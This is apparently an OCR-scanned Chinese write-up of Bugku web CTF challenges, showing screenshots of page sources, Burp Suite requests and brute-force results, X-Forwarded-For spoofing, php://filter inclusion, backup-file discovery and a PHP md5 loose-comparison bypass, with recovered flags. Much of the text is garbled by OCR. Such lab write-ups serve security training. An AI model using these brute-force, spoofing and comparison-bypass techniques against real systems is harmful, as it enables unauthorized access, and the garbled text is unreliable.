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[x ﬂ Elements Console Sources Network Performance Mem

<html xmlns="http://www.w3.0rg/1999/xhtml" >
» <head>..</head>
«» ¥ <body id="body"” onload="init()"> == %6
<!--flag KEY{Web—2—bungsNNiklsQl@B}——>|

<script type="text/javascript” src="js/ThreeCanvas.js"»</script>»
<script type="text/javascript” src="js/Snow.js"></script>

P cscript type="text/javascript”s..</script>
P cdivr.</dive
</body>

</html>
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[w ﬂ Elements Console Sources MNetwork Perform:

<html xmlns="http://www.w3.0rg/1999/xhtml">

» chead>..</head>

¥ <body>
<span id="code" class="code" style="backgrqund:- rgbh(80

e <input type="text” class="input” |maxlengtht"3"}k| == $8
<button id="check">¥if</button>
P cdiv style="text-align:center;”>.</div>

<script src="js/jguery-1.12.3.min.js"></script>

<script type="text/javascript"” src="js/code.js"></scrij
</body>
</html>

web#l$_GET

R R 3R 2 — > getiF K

@ 123.206.87.240:8002/getf?what=flag

webZ Al $_POST



X B 2 33T — N post
A LA kIR 35 t-hackbar, A BAFZEEL T A
KA hackbarRtHAEL T AT

FIFAOERINNE: Post, GetDelete, Put, Trace, Head, Options iF¥, ATHEN , F1TEHEFCH,

Post v UTF-8 v

hitp:/i123.206.87.240:8002/post/

53 : ERESETHAGER, DEAIST, SRASGEAR, SHEE: 2019405H05H00:59:41

iBEAFEHTIP IR, ATESE, HTTP &EilisX,
SHETR £ =

what flag

Response Body (E[EHEZJSON, £8&igz)

$what=5_POST]
'what'

]:<br=

echo$what;<br>

if($what=="flag")=br>

echo'flag{

Eddk

}o=br=

flagflag{
bugku_get_ssseint67se

: i

B _FITERABPIE

e el e

e
|POST|;r TP/1.1
Host: 122.206.87.240:800 EEREYMHAZRGET, FEEM—T

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebkKit/537.36
(KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/a
png.*/*q=0.8,application/signed-exchange;v=b3;,q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Length: 9

Content-Type: application/x-www-form-urlencoded

what=flag

¥ JE

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 24 Apr 2020 00:44:29 GMT
Content-Type: text/html
Connection: close

Content-Length: 126

$what=$ POST['what'];<br>
echo $what; <br>
if($what=="flag")<br>

echo 'flag{****}" <br>

fIagrlag{bugku_get_ssseintﬁ?seﬂ



https://www.sojson.com/httpRequest/

KRB R RERZ — getZ2Hnum, FEnuMAREFES BIANE —NAEG], A5 Enum==17 g% tflag
@ 123.206.87.240:8002/get/index1.php?num1a |

FIH T phpi—AN5
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[w ﬂ Elements Console Sources Metwork Performance Memory Application Security Audits

alert("RIHIEE ) ;
alert("flagfiTEiZE");
alert("RIHIEE ) ;
alert("flagiTEiXE");
alert("FRILFHE);
alert("flagiTEiXE");
alert("HRILFHIC ) ;
alert("flagffiTEiXE");
alert("RIHIEE ) ;
alert("flagiTEiZE");
alert (R ;

[ <1--8#75;8#69;8489 ;84123 ;8474 ;8450 ; 8#115; 8497 ; &#52; &450; 8497 ; 84104 ; &#74; &#75; &#45; 8472 ; &#83 ; &#49; &#49; 8473 ; 8473 ; &#73 ; &#125; - -

>
</script>
</head>
<body >

B Eburpsuite 2 HAHTMLARRS 54T T

| KEYv{l2sadzahJK-H51 11}
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X RRE R A AT

» EEERE - EHEEESE (C) » Windows » System32 » drivers » etc

AR BB NhostsCfF, FHEditPIlusi T, W T 4w

b2 123.286.87.248 flag.baidu.con‘

< C ® F==| flag.baidu.com
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T EM I —BEFER, FikFMburpsuitelBIX T

GET fweb12/ HTTP/1.1

Host: 123.206.87.240:8002
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (
Accept: text/html application/xhtml+xml.application/xml;q=0.9,image/webp,i
Referer: http://123.206.87.240:8002 /web12/

Accept-Encoding: gzip, deflate Scan
Accept_ Language: zh-C Nfzh;q:(]_g Send to Intruder Ctrlsl
Connection: close L_EEE'E‘_”,EEF‘EEF.L..J SR

| Send to Sequencer

B R BN ER R
Go Cance < | > | Target: http:ii123.206.87.240:6002
Request Response
Raw | Headers | Hex Raw | Headers | Hex ( HTML | Render
GET fweb12/ HTTP/1.1 +  Connection: close
Host: 123.206.87.240:8002 Content-Length: 630
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1 O<html>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 <head>
(KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 <meta charset="utf-8">
Accept: <meta name="viewport" content="width=device-width, initial-scale=1.0">
text/html, application/xhtml+xml,application/xml;q=0.9,image/webp,image/a <meta name="description" content="">
png,*/*,q=0.8,application/signed-exchange;v=b3 <meta name="author" content="">
Referer: http://123.206.87.240:8002/web12/ < title>Dummy game= ftitle >
Accept-Encoding: gzip, deflate <f/head>
Accept-Language: zh-CN,zh;q=0.9
Connection: close <script language="JavaScript" >

function myrefresh(){

window.location.reload();

}

setTimeout('myrefresh()’, 500);

< [script>

<body>

< center> <strong >l want to play Dummy game with others£;But | can't
stop! </strong= < fcenter=

<center>Stop at panda ! u will get flag</center>
<centers<div><img src="10jpg"/ > </div=</center><br=<a
style=“display:none1>flag[dummy_game_1 s_sO_popuIar}t{/a></body>
< fhtml>
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HEFENRY, @HERRRISPFUCK, BET—TF

[w ﬂ Elements Console Sources MNetwork Performance

<html:
<head>»< /head>
¥ <body>
¥<div style="display:none;">
SCOILC I [+ 0+ LTI+ 0001 [+ DD+ [+ [ 1T T+ CE LT+ [ 1) 1
CII1+ID D L1+ L1 e [T 1+ O LT LD [+ LT T+ CE LT DD [0 1 1+ (]
11+ LI+ I D [T+ LT+ D D D L e LT e [T T C D410 [+
11+ CH LT+ D10 LI+ DD [+ D11+ T+ LIC 01 D [+ LT+ [+ 1114
(DD T+ 1+ L1 1+ (e LT+ DT+ LD DL CE DT+ [ 1) [+ 1]
I+ 01+ [T LT D CH LT+ LD [ P+ LI 0+ DD [ A4 L T 4 [ 1 14
1+ L1 1+ CH LI+ LD DT+ CH LT+ LD D+ T DD [T T (L L D]
1T+ LI+ [+ 011+ C LI+ D D [+ LT+ COIL D0+ [ [+ LT+ (LT
(D01 CH LI+ D [T+ LT+ 11+ CH LD+ DD [+ 2+ LT 11+ L DD
[ L1111+ C LT+ DD D AT D 1 C LD+ DD [ 104 C LT ]
[0+ [ 1+ [+ L1 1+ C LT+ DD [+ 0D+ D T+ L) [+t LT I+ CO P LT T+ L DL

RUIX BARRD R AT AR B2 ) 6 AT

LIJIT LTI LT L)
[1+CHTI+0D [ +0]+1+1
[D[+1+[1]1+0 D[ +0]+

"ctf{uhatfk}"

KERIERK

| | Submit |

I=rx, BEFREIFFERAT. . .

HEABRKREHA—T

| | Submit |

EFEEE.

EMBRKREH AT

| | Submit |

THEEDEE! FE!
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Raw | Headers T Hex ]

Raw | Headers THex T HTML T Render ]

GET /hd.php HTTP/1.1

Host: 123.206.87.240:9009

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

Accept:

text/html, application/xhtml+xml,application/xml;q=0.9,image/webp,image/a
png,*/*;q=0.8 application/signed-exchange;v=b3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

W, JEAEm Nk B

A [E| k= ELEB

{FHIuhFIER, BRAER!

© 2015-201 e b idbetimRaeanstdu

AEERHEET, HF128FH, HEARH AR

kB Rkt B2 H 1 IRI 2 SRwehehall

T

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 15 Feb 2020 05:30:42 GMT
Content-Type: text/html
Connection: close

| flag{Bugku k8 23s istra}:

Content-Length: 139

<html>
<meta http-equiv="Content-Type" content="text/ht

<pre><br><br=<br><br>f+4Athig8F, <br><br>
</html =



K/ INST I A H A THS DLW N JAT /I Y VYV U DT v

FrUERMAMEEET —F

ftae |http:mza.206.arzm:auuziwebshelli | | i | | E1FFE |
T (% CPUEQ, * 5iafE) [] DIR: 446880 [] Aspy: 42524 1 $Emlz00
[] 4sP: 28712 [Z] PHE: E2815 [ EMl403
8 (2} EEPTERER) [Jmwe: son [ JsF: 19739 E= (5
$UEEE: http: /123, 206, 67, 2408002 /webshell/tirrell, phe PSR 27 ERE: 4540
1D it HITENERE
1 http: /123 206 87, 240: 8002 % ebshellfindex. php 200
o http: /7123 206 &7, 240 annszebshell 200

e, [ HIshell

WebShell

hitps://blog.csdn.net/baidu_39504221

FEZW, MburpsuiteINEBBH—T

Attack Sawve Columns

[ 1o | ot poens [ opes

| Fitter: Showing all tems

3406 hack 200 0 O |10 |
0 200 O O 1125
2 123456 200 O O 1125
1 password 200 O O 1125
3 12345678 200 O O 1125
5 12345 200 O O 1125
5 qwerty 200 O O 1125
7 dragon 200 O O 1125
4 1234 200 O O 1125
a8 pussy 200 O O 1125
3 baseball 200 O O 1125




|12 monkey 200 L L 1125 ]

Raw | Headers | Hex | HTML

PGLIS'BC'- L | Juin iy Ll TS T T T T I

25 LM B3 AR )
¥z https://pan.baidu.com/s/TM1YFWLKIURFpw84NeT08sQ
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FBR T HRRAE TR
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base64f#iY J5 Rtest123
Pladminh 2 4, test123 953515 % Bk

EERIRR

Username:
Password:

Submit || Reset

PRI, BB i, IPEIES.

RAAHAERAEES TXFFL, W—%

POST / HTTP/1.1

Host: 123.206.31.85:1003

Content-Length: 23

Cache-Control: max-age=0

Origin: http://123.206.31.85:1003

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108
Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp
Jimage/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://123.206.31.85:1003/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

X-Forwarded-For:127.0.0.1| |

e

user=admin&pass=test123

B2 A ERFE
web4

ERATEVENS, BFW
JavaScriptfRiSE 4R 7
BENSHFEMRE, FEME

éval {unezcape (pl) + unescape (" $36%34%61%61%32° + p2) ),

XATHRIG & R R RIS Z N _E— 8 %35%34%61%61%32
i R T X

O<html=

<head>

<title>

BEERRS

<[title>

</head>

<b0dy>

<h1-BEREH</h1>

<form method="POST" autocomplete="off">

<p>Username: <input type="text" name="user" id="user"></p>
<p>Password: <input type="password" name="pass" id="pass" ></p>

€p>

<input type="submit" value="Submit"/>
<input type="reset" value="Reset"/>
</p>

</form>

<font style="color:#FF0000" ><h3>The flag i

s
85ff2ee4171396724bae20c0bd851 f6b<,’h3>|< br\ > < /font\ >

</body >
</html >


http://tool.chinaz.com/Tools/escape.aspx

667,757%6€7%637%74769%61%6€7%207%637%687%657%63%6b7%53%757%627%6d%697%747%287%29%7b7%767%:617%727%207%617%3d%647%617%637%757%6d%65%6€%74
2e7.677%65%747%4576C7%657%6d%65%6e%747%427797%497:647%287%22%707%617%737%73%77%61%727%647%227%297%3b7%697%667%:287%227%757:6€7%647:65%667%6)
97:6€7:657%647227%21%3d%747%79%707657%617667%20761%297%7b7697%667%287%227%36%377%64737%307%397%627%327%627%357%347%617%617%32%617%617%36)
347,387637%667%367%65%387%377%617%377%31%31%347667317%227%3d%3d%61%2e%767617%6C%75%65%29%727%657%747%75%7 2%6€7%21%30%3b7%617%6C

657:727%747%28%227%45%727%72%6F%72%22%297%3b7%617%2e%66%61%637%757%737%287%297%3b7%72%65%74775%7 27:6€7%21%31%7d%7d7%64761%637%75%6
d7.657%6e7%7472e7%677%65%74%457%6C7%657%6d%65%6e%74%427797%497647:287%22%6C%65%76765%6C%51%75%65%73%747227%297%2e%6t%6e%73%75
627:6d7:697%7473d7%637%687%657%63%6b7%537%757%627%6d%697%747%3b

R R A — AT AR R IXAE

("p7d709b2b542a2aa648cf6e87a7114F1

¥ 67d709b2b54aa2aab48ci6e87a7114f1 HIEIRAMAT T

ERIFAG?

Submit
KEY{122JK-H511}

flag7Eindex &

RITEEE

click me? no

BR#tE

< C o=l 123.206.87.240:8005!p05t/index.ph[::l?file:show.php|

.: RZFH aE—F, feaE | eEnx | 5 EEEIRENE ( °- *)D... m

testb

R BA S I 5E

RIE R E flagfEindex® #showiRKindexit T —F

— Rhintff & H BEE T HERERIXE
https://blog.csdn.net/zpy1998zpy/article/details/80585443
RIERT php:/filter/ i, Z#HT

WMAELAEEflag



NS EERA e
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R B R BB
BTN CIE A BT R ok

#include<stdio.h>
int main()
i
int a;
for( a 10000 ; a 100000 ;a

P
1

printf("%d\n",a);

1
J

return 9;

MR NEEEF Hburpsuiteila

POST /baopo/?yes HTTP/1.1
Host: 123.206.87.240:8002
Content-Length: 9
Cache-Control: max-age=0
Origin: http://123.206.87.240
Upgrade-Insecure-Requests| g, o sequencer
Content-Type: application®-|  send to Comparer
User-Agent: Mozilla/5.0 (Win  Send to Decoder
Accept: text/html,application Request in browser
Referer: hitp://123.206.87.24 Engagement tools
Accept-Encoding: gzip, defla]  Change request method
Accept-Language: zh-CN,zh|  Change body encoding

. Copy URL
Connection: close st
Copy as curl command

Scan
Send to Intruder
Send to Repeater

Copy to file

pwd=12345

Paste from file

In#k 78, startattack

Attack Save Columns

J Results T Target I Positions T Payloads I Options ]

Filter: Showing all items @
Request | Payload | Status |Error | Timeout | Length 4| Comment

3580 13579 200 L ] |246 (:_
0 200 L ] 1327

1 10000 200 L [ 1327

2 10001 200 L ] 1327

6 10005 200 L [ 1327

3 10002 200 L ] 1327

4 10003 200 L [ 1327



5 10004 200 O O 1327
7 10006 200 O O 1327
8 10007 200 O O 1327 v

Request | Response }

J Raw T Headers I Hex I Render ]

Content-Type: text/html
Connection: close
Set-Cookie: isview=13579; expires=Sat, 29-Feb-2020 06:12:11 GMT

Content-Length: 46
||1ag{bugku-baopo-hah}
</body>
</html>
L%
(¥
@ w u u Type a search term 0 matches
Paused gu———— N T T T i

KRifi—AARK
4047 .
#HHRAE B
BT HEX

d41d8cd98100b204e9800998ecf8427ed41d8cd98100b204e9800998ect8427e



PLRREmMdS, REMEE

HEER:
[Z2=15]/[Empty String]

JERMEET — TR

d41d8cd98f00b204e9800998ecfé427e  d41 d8cd98f0ﬁb20489800998ecf842?d

R B — R SCA R Ja SRR 83 0R— RAD
WIEBH, BOBEREHCMERBO, BET—T

bak S EE | B

bakZ & {3 0iF, AMHRAT EA.

3 bak
B X FiH
R B R ENbak e

R T —FZEURLE I flag.php.bak 4047 (F 51 #8133 Hflag.php)
A index.php.bak FEH T —AN X4 i Fvscode

$str = str_replace('key',"',$str);

RIGIRER T Kkey1 filkey2, LA i wT LLE 5 Sait
ik 2 5 pikkeyey1 filkkeyey2

(md5($keyl) == md5($key2) && $keyl !== $key2){

echo $flag. " Hif5flag"”;

X—Btoeid B A md 5t

125.206.87.240:8002/web16f?kkeyey1=s878926199%a8kkeyey2=51559646/1a

Rz B a2z B &212

288558410200e342768416822451524974117254469Bugku{OH YOU FIND MY MOMY}&



https://www.cnblogs.com/Jie-Fei/p/9886598.html
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